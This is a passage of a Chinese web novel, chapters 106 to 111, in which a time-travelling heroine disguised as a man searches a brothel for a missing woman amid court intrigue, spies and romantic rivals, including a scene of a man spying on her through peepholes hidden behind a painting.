到了门口的时候,侍卫上前来,将手里拎着的一个暗纹锦缎包袱递到衣上云手中。 衣上云正疑惑不解地端详着这个包袱时,梅志煊开口道“这是方才刚从隔壁蝶衣坊新置办的一套男装,你进去试试可还合身?你一个女子,怎能毫不修饰便进去那种地方?” 衣上云这才恍然大悟,极为尴尬又感激地说道“还是江大哥想的周全,这套衣装要多少银子,云儿付给大哥。” 说着,又朝身上的钱袋摸去,梅志煊有些不悦地劝阻道“既然你都叫我大哥了,这点小事就无需见外了。快进去吧,换好了衣装,赶快来楼下吃饭。” “如此,那云儿谢过江大哥。”衣上云心中实在有些不好意思,可又不得不一边无奈地答应着,一边推开门来,进入房内去更换梅志煊精心为其准备的一套男装。 而此时,一旁的侍卫神神秘秘地上前,走到梅志煊的身旁对其耳语…… 片刻后,只见梅志煊半眯起眼睛,对其微微点了点头,然俩人接下来却并未前往楼下,而是急急走进了位于衣上云隔壁的另一间天字号客房。 衣上云手里拎着包袱,一进入房内,便驻足仔细地打量起这间客房来。 房内紫色的轻纱幔帐,笼罩出一种隐隐约约朦朦胧胧温馨的气氛。 客房内的陈设之物竟也都是少女闺房所用,所有用品都是上等品质,极尽奢华。 眼前的这一切,让衣上云错觉地以为,仿佛就是客栈专程为她准备的。 而一醒过神来,她缓缓走 进最里边的那间隐蔽的卧房。 卧房内,精雕细琢的红木雕花卧榻,锦被绣衾,帘钩上还挂着些许个小小的绣花香囊,散发出阵阵淡雅的幽香。 她轻轻放下手中的包袱在榻上,倚窗向外望去。小镇上小桥、流水、枯树、青石板铺就的小道、镶嵌于其中的一座座热闹温馨的院落和商铺…… 看着外面的一切,她竟不自觉地发起呆来…… 而冬日里的暮色,说来便至,只不过须臾,便已是各处华灯初上时分了。 此时,熙熙攘攘的人群、渐渐热闹起来的街市,更令眼前这座小镇顿时变得生气勃勃。 忽然,她缓过神来,急急走向榻边坐下,用一只细嫩的纤纤玉手欣喜地轻抚起那暗纹锦缎包袱,片刻后,缓缓将其打开来。 顿时,一套做工质地皆极为精细的雪白色棉袍,和一些男子的日常配饰,竟是一应俱全地显现在她的面前。 入神地对其沉默了半晌,她缓缓起身来走到卧榻边的牡丹屏风后,温柔地除去一身红装,将这新装换起。 之后,又坐在一面菱花镜前将那一头三千青丝用一条丝带高高束起。 最后在镜前端详审视了好一会儿,才起身来下了楼去。 等她到了楼下的时候,梅志煊与侍卫早已点满了一桌甚是色香味俱全的丰盛佳肴,正坐等她的大驾。 然她一出现,那桌色香味俱全的丰盛佳肴却瞬间都黯然失色,输给了此时即便是一身男装,却更是让人深觉秀色可餐的她。 俩人只见迎面缓缓走过来一玉树临风的翩翩公子,步履轻盈,体带幽香,白色轻纱遮面,一头乌发以一条白色丝带高高挽起,身着一袭雪白棉袍,腰带上缀着一块和田白玉,秀挺的鼻梁,白皙的皮肤,一双好看的凤眼,俨然一副完美的贵公子模样。 此刻,她整个人犹如琼枝一树,挺立在众人面前。 梅志煊和侍卫俩人手里同时执着酒盏看向她,惊呆了。 “江大哥,江大哥...”不知何时,衣上云已在梅志煊身旁坐了下来,然唤了他好几声,又在其眼前摆了摆手,方才将其唤醒过来。 梅志煊随即露出一脸尴尬之色“云儿的男装确实不凡,江大哥都看呆了。” 说着,便拿起一小碗,亲自帮衣上云盛了一碗热腾腾的鲜鱼汤递到她手里,衣上云顿显有些羞涩地伸出手去将其接下。随即便低头含羞着一手掀起面纱一角,另一手将其一匙一匙地送入口中。 梅志煊看着她羞红的脸,眼里露出无尽的宠溺来…… 半晌后,衣上云已觉满腹饱饱,便开口说道“既然江大哥还有生意要谈,那 第一百零六章:万娇阁内,高调寻人 俩名坦露着温润香酥的胸脯,甚是香艳妩媚的女子一上来,便左右夹击的架起衣上云的两只胳膊,径直朝着边上一间精致的雅间里将其推了进去。 “看这位公子长得如此眉清目秀,可真是俊俏啊。这细皮嫩肉的,唉吆喂,闻一闻,好像这身上怎么还有股脂粉味呢?” 女子一边软糯的吟笑说着,一边轻抚起她的胸膛,还时不时凑过鼻子来近身轻闻几下。最后,竟掩面轻笑起来。 正当衣上云极为惊慌失措地推推嚷嚷着,不知该如何以对的时候,梅志煊手里提着一个神秘的红布包裹和侍卫急急走进来。 梅志煊一上前,便替其解围“来,去把你们妈妈找来,今日本公子上门来,要做你们万娇阁里最大的客人。” 俩名女子一见来人的气势口气非同一般,便很快地斟好了茶水,倒也乖乖地听话照办,都急急退了出去,没有再多纠缠。 片刻之后,便见方才在大堂里见过的那个身材走样的老鸨喜盈盈地奔了进来,人还未到,话音便已传了进来“哎哟,妈妈我一大早就觉得今日这眼皮子怎么总是跳不停呢,原来竟是有贵客将至。今天这是吹的什么风,竟把如此尊贵的客人吹到了我这万娇阁里啊?” 老鸨一进来便被眼前俩人的装扮惊愣住,但更让她为之一振的,是整整齐齐摆在桌案上的一匣在明亮的烛火下发出金灿灿的耀眼光芒的金元宝。 老鸨一见,顿时瞪大了眼睛,膛目结舌了半晌。 这时,梅志煊摆出完全一副浪荡公子模样,懒懒地坐在一边,指着桌上的那匣子满满的金元宝,开口道“去把你们万娇阁里所有的姑娘,一个不漏地通通给本公子叫过来,若是当中有一个本公子能瞧得上眼的,那这匣金元宝便都是你一个人的了,姑娘的赏钱本公子另外再付。” 老鸨闻此,这才回过神来。只见来人三个之中,有俩人不以真面目示人,心中略一迟疑,似是有些警惕,但仍旧笑道“不知公子是哪位大人府上的阔少爷呢,如此看得起我万娇阁的姑娘,出手竟如此阔绰?” 梅志煊微微侧脸看了看身旁已然已是惊傻了的衣上云,脱口便出“我们是城西衣府上的。怎么,难道来你这万娇阁里消遣寻乐子,还需要带身份证明不成?” 老鸨一听,虽不是什么耳熟能详的大官,但能脱口便报出自己家门的,许也不是存心有什么不良企图的人,这才连忙致歉“喔,原来是城西衣府上的俩位公子,公子不要误会,我们开门做生意的,难免要对新客人稍加了解一些,这也是为了方便我们能更好的伺候公子。既然如此,公子稍等,妈妈我这就去安排,今儿保准一定让俩位公子满意。来人,快给这俩位贵客 上最好的茶汤,仔细招待着。” 说着,老鸨便急急转身走了出去。 然而,老鸨前脚一出雅间的大门,后脚便急急走向了万娇阁的一道后门,又通过了一条回廊,来到了位于后院角落里一座单独的阁楼里,上了二楼。 在这座孤立的阁楼二楼上,一间极为雅致的暖阁里,拓跋泽正坐于案几前,对着一封密函沉思。 听到“咚咚咚”的敲门声,他立刻将其收了起来。 “主子,方才阁里来了俩位出手颇为阔绰的公子,说是要在阁里所有的姑娘里面,挑选一个满意的。”老鸨一进来便朝其禀报道。 “哦?如此大口气,可有问是谁家府上的公子?”拓跋泽亦是有些惊讶,能在闻名整个西秦的万娇阁里如此大大出手的,至今,可还没有几人。 老鸨似是心有疑虑,稍一迟疑,道“俩位看起来倒都是风度翩翩的尊贵公子气质,只是这...其中一人以面纱遮面,另一人则以面具掩饰着,着实有些让人疑惑,老奴又不好深问。方才只是问了府邸,只说是城西衣府的公子,就这,都似乎好像已经有些恼了。” 听到这里,拓跋泽优雅地倒了一盏热茶,执起来稍一沉思,口中重复道“城西衣府,倒是真的很陌生。” 思量片刻后,只对其吩咐“先按照他的意思小心伺候着,本皇子亲自去看看。” 老鸨得到指示,转头正欲离去,拓跋泽似是忽然想起了什么,便开口道“都已准备好了吗,今夜是否可以动手了?” 老鸨急急回头,道“还差最后一剂药,美人血便可成功养成。” 拓跋泽闻之朝其摆了摆手,老鸨便走了出去,正好与刚进门来的拓跋泽的贴身侍卫擦身而过。 侍卫一进门来便立即将门掩上,有些遗憾地说“殿下,刚收到国内来的消息,经查我们所俘获的西秦战俘里,并没有一个叫赵平安的人,怕是……真的不幸战死沙场了。” 拓跋泽听了,有些神情黯然,深叹口气,缓缓起身来走到窗前,单手负后。 窗外,夜色渐浓,尽管对面窗内的美人儿如今已被转移至那处不见天日的暗室里,然他此时放眼望过去的眼神仍旧似是很悠长。 沉默了许久,对其喃喃细语道“难道真的天意如此……” 窗外,不知何时竟淅淅沥沥地下起雨来。 他此刻内心苦苦纠结挣扎着,凄苦却无人怜。是不需要,还是已习惯,他早已分不清楚。 这一世,如果他不是出生在冷漠无情的君王家,倘若只一壶清酒,不惹尘世,也许这一生,便不会活的如此忧伤。 至少,他不用承担和背负那么多的身不由己,好像永远都是在为别人奔跑而活着,何时曾做过真正的自己。 这样的他,这样的人生,其实一点都不洒脱。 &nb 第一百零七章:蓝狐蝶图 “快捉住她”老鸨一看到,便对守在门外的几名壮汉下令道。 很快,便走进来一名满脸横肉,挤的连眼睛都眯成了一条缝,即使是在大冬天里穿着厚厚的衣裳,然胸脯上的肥肉依旧一走一晃闪的身高马大的壮汉。 在那壮汉面前,这名衣衫褴褛的女子看起来顿显瘦弱不堪。 壮汉一走进来,便将这个似是疯疯癫癫的瘦弱女子一把拎了起来,如同一只贪吃的小白兔被人提住了尾巴…… 那女子惊恐万分地看着周围的每一个人,从壮汉的手里拼命挣扎着,却不能言语,仿佛她是个……哑巴。 这时,老鸨才急急上前来抽出自己的一方手绢,连忙一边帮衣上云擦拭洒在其白袍上的茶渍,一边说道“公子息怒,她叫莲儿,不小心冲撞到了公子。她是个哑巴,亦是弱智。曾经还是个流浪汉,我见她可怜才收留她在阁内做一些打扫的粗活儿。她一向都很怯生的,没想今日里怎么竟敢如此大胆,魔怔了似的跑出来惊吓到公子,真是对不住了。兰香,还不陪这位公子去你房里换身干净的衣服。” 说着,一名眉清目秀,一袭紫衣的高挑女子从队伍里即刻站了出来,一上前来便要拉着衣上云回房,衣上云顿时又对其支支吾吾不知所措起来。 尽管在来万娇阁之前,她自己也想象过很多可能发生的场景,做了许多的心理建设。可当事情真的发生的时候,她才知道想永远比做简单。 而这时,一旁的梅志煊却并没有出面阻拦,而是任由这紫衣女子连拉带拽地将衣上云请出了雅间。 他的心里其实一直都巴不得发生眼前的这一切,好让他开始盘算自己另一个很重要的计划。 一到房内,兰香便急急将门反锁,彪悍的将衣上云一把推倒在了她的香榻上。 紧接着竟俯身下去,游离在她身前,开始挑逗起她来。 隔着轻纱轻抚她精致的脸庞,摩挲她诱人的下巴,衣上云的身子顿时竟变得僵硬起来,一动不动惊恐地看着她。 而半晌后,兰香却噶然而至,忽然得意地站起身来,从一旁的柜子里拿来一套干爽的男人衣服。 衣上云趁机赶紧站起身来。 “冬日天寒,公子还是速将打湿的衣服换下来才好,兰香帮公子。”说着,便将手伸向衣上云的腰带间。 衣上云吓了一跳,迅速伸出手来紧紧抓住兰香附上其腰间的纤纤玉手,苦笑道“我自己来便可,不必劳烦姑娘。” 然兰香始终不肯放弃,又继续向前逼近两步道“公子说的这是什么话?兰香打一迈入万娇阁的门槛,便注定了一辈子都是服侍人的命,又何来劳烦之说,公子莫要推辞,赶快脱掉。” 说着,便极为熟练地一把将衣上 云的腰带扯了下来,衣上云慌忙用双臂紧紧抱住自己的上身。 可兰香仍不满足罢休,又继续伸手开始进行下一步。 衣上云又被逼后退两步,但很快就又被再次逼倒在了其身后的香榻上。 还没等她反应过来,只见兰香纤细的腰身忽的一闪,便压在了衣上云的身上。 而接着,她的两只纤纤玉手竟开始蠢蠢欲动,变得不安分起来,直接伸进了衣上云的衣襟里,触向了她的胸前。 而这一触摸,兰香便刚好触碰到了她柔软的身体,且正是她上身最柔软的那两处高耸的美好。 只见这时,兰香忽然惊的膛目结舌,赶忙将手缩回,吃惊道“你是女子?” 衣上云连忙蹙眉将手指抵在唇上嘘声,又朝四下里匆匆张望,示意她不要声张。 兰香倒也听话,一听到衣上云的暗示,竟真的立刻收了声。 片刻后,兰香方才回过神来起身,仔细端详了衣上云一会儿,疑惑地问道“看你的气质,倒是像个大家闺秀,你一个好端端的女子,为何会跑到这种满是污秽的风尘之地来?” 衣上云见兰香神情镇定,倒也像是个明辨事理的人。于是,她咬了咬嘴唇,亦缓缓起身来端坐好“实不相瞒,我来这里是找一个人,她的小女儿和婆婆在家中很是挂念她,不知她现在情况到底怎么样了?” “哼,既然有婆婆,还有女儿,怎么还会来这种地方,定也不是个什么纯良的人?”兰香冷哼着在案几边坐下,一边端详着自己新做的指甲,一边漫不经心道。 衣上云抿了抿嘴,又叹了口气,道“并非如此,她就是太善良,才会舍身来到这种地方。一言难尽,如果你知道,能不能告诉我她到底在哪里?方才厅里的那些女子里面,根本就没有她。万娇阁是不是还有没在场的女子,又或者是不是还有其他不为外人知道的地方?” 衣上云心急如焚地问道,然那兰香却轻描淡写道“方才厅里的确已经是万娇阁所有的姑娘了,一个不落,并再无其他姑娘。” “不可能,玉娘她明明就是来了万娇阁,怎么可能会不在。如果是已经离开了万娇阁,她一定会回家的。难道...是不是...她出事了?”衣上云一边说,忽然猜测怀疑道。 “玉娘?”兰香闻此,忽然抬起头看向她此时惊恐的脸道。 “对,她叫玉娘。你听说过,对吗?”衣上云似又看到了一丝希望。 兰香怔了一下,略一迟疑,却又冷冷地否认道“不,我并未听过这个名字?万娇阁也从来没有过这个人,小姐你还是更衣,尽快离开这里 第一百零八章:暗藏玄机的两幅画 梅志煊从万娇阁的前厅里一路跟着嫣红,一进到位于二楼最边上的房内。嫣红便满脸含羞着伸出一双手来,欲拒还迎地想要替其褪去外衣,伺候其歇息。 然梅志煊看着她此时露着似是有些被强迫的神情,好似已看穿了她的内心。 忽然,他伸出一只温润如玉的大手,一把紧紧地捉住了嫣红那双似凝脂般细嫩的玉手,就在其正要抽去他的腰带时,冷声对其质问道“你是新来的?” 嫣红随之惊愕地仰起面来,一双清澈的美目怔怔地望着眼前男子脸上的蝶形面具下,那双犀利而又深邃的眼眸,原本就一副楚楚可怜的小模样,此时更多惹了几分怜爱。 于是,她怯怯地对梅志煊柔声细语道“嫣红刚来万娇阁没几日,伺候公子不周,还望公子莫要责怪。” “本公子不喜欢强求......”梅志煊一边借口说着,一边将嫣红的手送还了回去。 可见她此时似是又有些丧气懊恼地低垂下了头来,微微抿着那片温软的红唇,面露出一丝黯然的难色。 一转念,梅志煊又安慰其说道“好了,不是小姐你的问题。而是本公子今日真的累了,所以,小姐就不必在房内伺候了。只是劳烦嫣红小姐去帮忙准备些酒菜上来,本公子早早便从城西一路赶来这万娇阁,至今尚都还粒米未进呢?” 说着,梅志煊将一锭金元宝拿了出来递到她手里,嫣红这才终于抬起头来,含笑道“是嫣红疏忽了。如此,那请公子在房内稍候片刻,嫣红这就下去准备。” 说完,女子便欣然地转身离去,将门轻轻掩上。 梅志煊这才松了口气,一回神,便急急上前将房门反锁起来。 随后,又大步流星地朝着房内挂着蓝狐蝶图的那面墙走去。 对着图仔细端详打量了半晌,似是也并没有发现什么不妥之处。 无奈,梅志煊只能如侍卫所言,将眼睛亦朝着那画中蓝狐的眼睛对了上去。 果然,和侍卫所言一模一样,这幅绘制的甚为栩栩如生的蓝狐蝶图确实暗藏玄机。 透过图中那只蓝狐的双眼,他亦很快便清清楚楚地看到了对面房内的衣上云。 此时,衣上云在隔壁房内正朝着他眼前走来…… 一到屏风后面,衣上云亦是同样一眼便看到了墙上挂着的与梅志煊所在房间里一模一样的一幅蓝狐蝶图。 原来,这两幅图就悬挂在同一面墙上,不同的两侧却相同的位置。 画中,亦是一只在冰天雪地里,其毛色和蓝色的海水相应,正奔跑在一条漫长的海岸线上的蓝狐正昂首阔步,追逐着一只翩翩起舞的蝴蝶,似是在互相追逐嬉戏着。 而那只蝴蝶全身透明,作画者刻意在其身上描出几条黑色脉络 ,才使得若隐若现出一个蝴蝶轮廓来,它正挥舞着翅膀展露着其优美的舞姿,起舞时挥动双翅在地上撒落下的点点冰花,呈现出一道七彩的光辉。 衣上云一下子便被眼前的图画惊呆了,这即便是在21世纪,也绝对没人能画出如此逼真的图画来。 静静地远观了半晌后,她方才稍微缓过点儿神来,却仍旧一边痴望着,一边慢慢迈步朝着眼前的蓝狐蝶图走过去。 她伸出手来轻抚着画中的每一处焦点,又将双目凑过去仔细观察,这画儿竟像是要把人的魂魄也吸进去一般,让人深陷其中不能自拔。 而让衣上云奇怪的是,无论她再如何仔细查看,它原来真的只是一幅普通的画而已,除了画的栩栩如生以外,并未发现其它与众不同之处。 殊不知在这两幅一模一样的画中,其中梅志煊这边的这幅,实际上是有人故意临摹出来的,可见这临摹者是有多钟情于这幅画,才能达到如此高的相似度。 就连整幅画最关键的灵魂之处——那对被临摹的出神入化的蓝狐眼睛,亦是丝毫不差。 而实际上,这两幅蓝狐蝶图的整个玄妙核心的全部,也正是在这蓝狐的眼睛上。 蓝狐眼睛后面的墙壁上,被人凿通了两个小孔,又下了不少功夫。 不仅如此,两幅图除了蓝狐的眼睛以外,都是用普通颜料作画的。 所以,任谁都很难看出任何端倪来。 而实际上,在临摹梅志煊这边的画儿时,蓝狐的眼睛所用的颜料,是一种极为特殊罕见的颜料。 这种颜料画出的画儿,表面上看起来与一般颜料所出无异,却可使人目光透过去清楚地看到对面的事物; 而衣上云那边的画儿里,在原来已有的蓝狐眼睛上亦再次涂了另一种特制的颜料,却不能像梅志煊那样可以透过去看到对面的事物,而是能让对面的人透过来看到自己这边的事物。 所以,当衣上云心里突发好奇,亦将眼睛对准到画中的蓝狐眼睛上时,梅志煊瞬间被惊吓到,急急用俩只手遮住了自己这边的两只蓝狐眼睛。 其实,就算他不遮,衣上云亦是看不到他的存在。 见其亦是没有什么玄机,所以她便回过神来继续更衣。 而片刻后,梅志煊又试探着将那双炯炯有神的眼睛凑了上来,再次对准了这双神奇的蓝狐眼睛,朝对面窥探去…… 神秘诱人的酒红色纱帐内,一扇万紫千红,百花争艳的木质屏风前,昏暗的烛火下,衣上云缓缓除去了一身男子的雪白棉袍,顿时现出一个亭亭玉立的曼妙少女来。 少女的一 第一百零九章:南安太子与东宁皇子初较量 终于,易君浩在驻足凝视了挂在梅志煊房内的那幅蓝狐蝶图许久后,渐渐地半眯起那对迷人的桃花眼,皱起眉头,口中自言自语地疑惑道“冰美人?这里怎么会有这幅画?” 他的心底忽然生出一种不好的预感,仿佛在这个鱼目混杂的万娇阁里夹杂着一股极为邪恶的力量,而这力量仿佛与南安的某个人有关…… 但不过须臾,他又即刻想起了他的丫头,稍一迟疑,便开口问梅志煊道“你是谁?你怎么会认识丫头?丫头她现在人呢?” 梅志煊淡淡地看了他一眼,疑惑道“丫头?” 易君浩露出一脸的不悦来,对其不屑道“就是城西衣府衣上坤家的嫡长女,衣上云,不久前刚被你带至这万娇阁里的白衣女子。” 梅志煊这才恍然大悟,却也缓缓记起,眼前这装扮如此张扬妖艳之人,不正是昨日才见过的,与那西秦秦王轩辕翰俩人为了一个女子而在大街上争风吃醋的南安国太子么?! 于是,梅志煊脸上顿时现出一抹轻蔑的神情来,笑着对他说道“喔,本公子还以为是谁呢?原来是灵空大陆鼎鼎有名的南安国身份尊贵的太子殿下呀。可这太子殿下想要这天下什么样的女人没有,竟也跑来这等不入流的风月之地寻花问柳?如果这要是被传了出去,怕是会把那个胆小如鼠的南安老家伙气的吐血了吧?!哈哈哈……” 说完,梅志煊竟毫无忌惮的大声狂笑起来。 易君浩听闻此言,顿时一惊,赶忙低眉急急朝着四周扫了一圈。见似乎并没有旁人听见,这才冷着眼再次看回他,疑惑地问道“你到底是谁,怎么会知道本太子的身份?” 显然,易君浩为此甚为吃惊。倒却也并不是因为梅志煊所说的,知道他去了风月之地会将其父皇气的如何,而是他在西秦国的身份一直掩饰地极为隐秘,甚至连西秦秦王轩辕翰屡次明里暗里费劲心思地查他的底,也是无功而返。但却被眼前的这个脸上遮着蝶形面具的神秘人一语道破。 看来,眼前这个人的确非同一般,自己竟就这样暴露了,易君浩心里暗暗琢磨着。 然而,梅志煊在猜到了他的身份后。此时竟改变了姿态。双手负后,挺直身姿,不屑而更又似挑衅般的回他的话道“本公子是谁?……本公子的身份又岂是你一条乳臭未干的小小南安国淫虫有资格知道的呢?” “你…” 顿时,易君浩火冒三丈的眼睛愤怒地对其一怔道,却又瞬间欲言又止。 他再次上下仔细地将眼前这个遮着面具,不敢以真面目示人,尽是满嘴挑衅着口出狂言的可恶家伙打量了一番…… 片刻后,正欲发火,却又瞬间似是想到了什么,心里已有所打算…… 只见他亦缓缓单手负后,挺直了腰身,半眯着眼睛,以一副极为傲慢的姿态,质问梅志煊道“你到底是东宁国还是北烈国派出的细作,竟敢在此几次三番如此猖狂不羁地挑衅本太子?” 易君浩亦是早已听闻过父皇对他所言及的,如今灵空四国,都蠢蠢欲动着欲想统一整个灵空大陆,做这天下唯一的霸主。 北烈和东宁亦早都已相继派出极为神秘、强大和隐蔽的细作力量渗入到西秦来。 只因为在整个灵空大陆,传说着西秦国里有一股世间极致神秘至强的力量,得此力量者得天下,而这股力量究竟是什么,世人皆众说纷纭。 有人说,这股力量是一个神秘的族落,他们拥有能控制整个天下的无穷智慧; 又有人说,这股力量是一个天降大任于其身的特别的女子,得到她便是得到上天的垂怜,将会得到整个天下; 还有人说,这股力量是一把能斩妖除魔的神剑; 亦有人说,这股力量是一种神秘的血液,拥有天下最神奇的力量; 也有人说,这股力量是一个圣物,拥有能创造奇迹的力量…… 所以,西秦才会成为整个天下争霸的首个众矢之的,要想统一灵空大陆,便要最先寻找以及得到这股力量。 然易君浩却对这天下丝毫没有兴趣,如果一定要他给出一个来西秦的原因。 那么,起初便是他被这股神秘力量的好奇心所促使,但却仅仅只是好奇而已,他从未想争夺甚至拥有这股力量。 他平生所愿的,只不过是这种闲云野鹤、悠哉悠哉、有酒有美人的田园药草香生活而已。 可如今,遇到了丫头,他似乎所有的重心又发生了明显的偏移。只是所有美好的这一切,却因为那秦王轩辕翰的介入让他困难重重,然心底的火苗却从未曾熄灭。 可眼下现在,让易君浩没有想到的是,会在这万娇阁里遇见明显是细作的人,难道这各国细作竟已经是无孔不入了么?! 而此刻更令他忧心的是,眼前的这名细作竟会和衣上云纠缠在一起,他究竟对他的丫头有何企图呢? 正在他沉思之际,梅志煊不屑一顾地对他冷哼一声,反问道“哼…细作?如果本公子是细作,那太子殿下您又是因何从遥远的南安之地千里迢迢来到这西秦大地呢?太子殿下可不要告诉我,只是留恋于这西秦万娇阁里的姑娘吆?” “哼,本太子因何来到西秦,凭什么要告诉你?无论如何,也总好过于某些人,连真面目都不敢露出来。” 说着说 第一百一十章:万娇阁里遇故人 正在易君浩思量之际,眼看着官兵就要冲上楼来,楼上楼下的人们都乱作一团,纷纷惊慌地胡乱奔跑着,官兵们在人群中四处搜索着…… 忽然,他恍一回神,灵光一闪,随即便眼疾手快地一步上前,迅速踱身到尚还痴愣在隔壁门口,不知外面究竟发生了什么的衣上云面前。 一近身,易君浩便伸手将她一把推了进去,跟着亦将自己的身子如闪电般的快速一避闪,便随她一同进到了隔壁房内,易君浩立即将门从里面紧紧扣上。 “外面官兵在找人,赶快把外衣脱掉,躲到榻上去。”易君浩一进去,还未等衣上云反应过来,便对她认真的说道。 衣上云听闻此言,顿时惊恐地抬头看着他的眼睛,脸上露出一脸的难色。可又一想,无论如何,她可不能在这种地方被官兵捉走。 于是,看着易君浩坚定的眼神,衣上云一咬牙,强鼓起勇气,便大步流星地回头朝内室兰香的香榻边走去。 易君浩见她已然心领神会地进去做掩饰,方才急急亦将自己的一袭甚为耀眼的紫红锦袍赶忙褪去,又一层一层,最后褪至只剩下了一件单薄的白色底衣,并将衣襟敞开来,裸露出极为迷人性感的上半身来。 顿时,一个妖艳而又不失英俊的风流倜傥,洒脱不拘的美男子便现了出来。 只见其五官精致,脸上的线条坚定而有力,宽阔的肩膀,眼神妖艳,身姿挺拔,要胸肌有胸肌,要腹肌有腹肌,真是迷死人的节奏。 就在这时,突然响起一阵急促的拍门声和官兵的叫喊声“开门,快开门,官府办案,还不速速把门打开...” 闻此,易君浩远远地再次朝内室张望了一眼,见已没有了什么动静,想必衣上云亦是早已掩饰好了,方才缓缓踱步过去把门打开来一条缝,露出半张妖艳至极的俊脸和那细长迷人的桃花眼。 俩名手持长剑,一身戎装的官兵一看见他,便气势汹汹地一把将门推开闯了进来,接着又将他重重地推到了门板上,随即便如狼似虎般凶狠地冲着房内四处张望寻觅着走去。 忽然,其中一名人高马大,面露凶色的官兵手里拿着一张似是女子的画像,那人似是发现了在内室榻上佯装掩饰着的衣上云,正欲要朝内室走去。 “你要干什么?”易君浩一着急,慌忙上前绕至其面前来,伸展开双臂拦住那人道。 谁知,那名官兵竟瞬间从腰上拔出长剑来,另一手又朝其扬了扬手里的画像,对其厉声喝道“没看到大爷在找人吗?你是什么人,竟胆敢阻拦官府办案,老子一剑劈了你。” 易君浩听闻,正想踱步上前看一看他手中那张画像的究竟,却忽被其朝自己指过来的长剑阻拦。 正 在他预备着,想要给那高个儿一点颜色看看的时候,身后忽又进来一名似是其头领的人物。 “程将军”两名官兵即刻同时朝其恭敬地拱手行礼道。 易君浩尚还停留在自己的思绪缠绕之际,闻声亦连忙回头转身,却一下子竟被惊呆了“怎么是你?” 程良闻声,似是有些耳熟,随即抬起头亦朝他仔细看了过来。 只见他顿时惊讶地瞪大着眼睛,似乎都快要说不出话来,直用手指着易君浩,半晌后方才开口道“谷...谷主大人,易三少,你...你竟然也来这种地方消遣,看来程良我还真是小看谷主大人了!” 显然,程良无论如何都想不到,大名鼎鼎的百草谷谷主竟然也会留恋沉醉于这烟花之地的风尘女子。 忽然,内室榻上极为心虚地辛苦佯装着的衣上云听到程将军三个字,顿时越发害怕地忍不住惊吓出声“咳咳...” 听到衣上云的声音,易君浩随即眼睛一怔朝内室忧心地看了过去,程良亦是挑了一眼那紫色轻纱帐内的女子身影。 一时间,众人都朝着内室里传出声音的女子身影望去,亦全都愣住,仿佛连呼吸都快要停止一般。 而稍一犹豫,程良这才回头将目光定格凝视在眼前易君浩衣衫不整...不,他此时又岂止只是衣衫不整,分明俨然一副刚刚经历了一场香榻上颇为激烈和露骨的翻云覆雨,而后被抓现形的样子。 忽然,他的脸上竟渐渐露出一抹蔑视的轻笑来,随即单手负后,另一手半握成拳低着眉眼轻触一下鼻翼,悠悠地对身旁的俩名官兵说道“哼...既然此处是谷主大人消遣享乐之地,那便不必查了。还不快出去隔壁房里仔细搜查。” “是”俩名官兵领命后,便急急退了出去。 “谷主请多包涵,抱歉打扰了,您继续,继续...”程良一边轻笑着拱手致歉,一边缓缓退了出去,到门口的时候,还不忘替其将门轻轻掩起。 见前来搜查的人都已离去,易君浩稍一迟疑,便过去赶忙将衣袍穿起,又对尚还在内室的榻上心神不宁,瑟瑟发抖着的衣上云通知道“好了,人都走了。” 衣上云闻此,方才长长松了口气,缓缓起身朝外走来。谁知,一出来便看到易君浩一副衣衫不整的样子,顿时羞红了脸将头转过去。 易君浩似是意识到了衣上云的羞涩,亦立即将身体转了过去,扭过头不再看她,动作麻利地很快穿戴整齐好。 衣上云这才看了回来,疑惑地问道“方才的那位程将军,可是秦王府的程将军?” “嗯,是的。这轩辕翰是不是最近太闲了,竟让自己的亲信管到这种烟花柳巷里来了。”易君浩亦是疑惑不 第一百一十一章:寻人,失之交臂 万娇阁门前河岸的对面,一座风格建的极为雅致的名为“香满楼”的酒楼里,飘出一阵阵甚为诱人的酒菜香气来。 酒楼墙壁上,那苍劲的题词记录着酒楼曾经过往里的一段段辉煌。 酒楼里面,店小二端着酒菜飞快地穿梭在一桌桌酒席之间,如同一个旋转不停的陀螺般忙碌着。 酒楼共有三层,此时,在最高层边上一幽静的雅间里,轩辕翰独自一人刚用过晚膳。眼前正在烧煮着的热茶欢快地上下翻滚着,他凝神看着看着,轻轻抿了一口手中清香扑鼻的茶汤,随即又转头望向了窗外对面,万娇阁的门前。 窗外,远处依旧还是寒冬里渐深起来的一片幽然夜色,而仿佛只有眼前的这条街道上却是处处都灯红酒绿、穷奢极欲、醉生梦死、纸醉金迷着。 望着眼前这片极尽奢靡的景象,轩辕翰的脸上似是浮起了一抹极为不悦的颜色,却因天性本就一副冰冷的模样,所以并不是很容易便会被人发觉。 忽然,程良悄悄掀起门帘走了进来,稍一顿足看了看主子的脸色,方才小心翼翼地禀道“殿下,属下已搜便了整个万娇阁,并未见到衣姑娘人影...会不会是她尚且还在途中赶路,并未到达万娇阁呢?” 轩辕翰听了,一双深邃的眼眸依旧只盯着万娇阁门口,仿佛还沉浸在他方才的那抹愁绪当中。 沉默了片刻,方才吐了口气,似是一颗悬着的心终于得到了安放之处。 回过神后,接着只对其冷冷问道“可都部署好了么?” 然话音刚落,他的余光忽然扫到从万娇阁里走出来一男一女俩个人,似是有些特别。 于是,他又望向了窗外。见那其中有个瘦瘦弱弱的遮着面纱的男子被前面的女子拖拽着,然其身影和走路的模样怎么看,都宛如一个纤纤女子。 “殿下放下,只要他们一进出万娇阁的门,属下保证他们插翅难飞。”程良信誓旦旦地答道。 然轩辕翰的目光仍然紧随着楼下那个宛如女子的男子移动着,听到程良的话,略一沉思,说了句“倘若他们不走明道,暗度陈仓,那又该如何?” 程良听闻,顿时一惊,道“殿下是说,他们有密道?” 终于,见眼前的一男一女渐渐地消失在这片夜色中,轩辕翰方才收回视线,吐了口浊气,放下手中的茶盏,却没有说话。 程良忽然心生一种不祥的预感,似是觉得自己真的轻敌了,怕是早已经酿成了大错。于是,连忙拱手谢罪道“属下该死,请殿下责罚。” 轩辕翰听了,并没有理他,只忧心道“万娇阁里定是暗藏了玄机,一定要查出来。而且,玉娘突然失踪,本王只怕她早已暴露了自己和秦王府的关系,恐怕他们是要 动手了。” “属下这就回去万娇阁里,将其角角落落仔仔细细地查个遍。”一听到主子的分解,程良说着便着急地转身想要离去。 却忽然间像是想起了什么顿足停了下来,再次回过头去,似是有些难以开口,可最后还是一咬牙,说道“殿下,有一件事,属下不知道该不该说...方才属下在万娇阁里找衣姑娘的时候,遇到了易三少。殿下绝对想不到,他竟然在房内与万娇阁的姑娘翻云覆雨,被属下逮了个正着,就连那姑娘也还尚躲在榻上不曾来得及离去呢。” 程良最后的言语中尽满已是吃惊与得意。 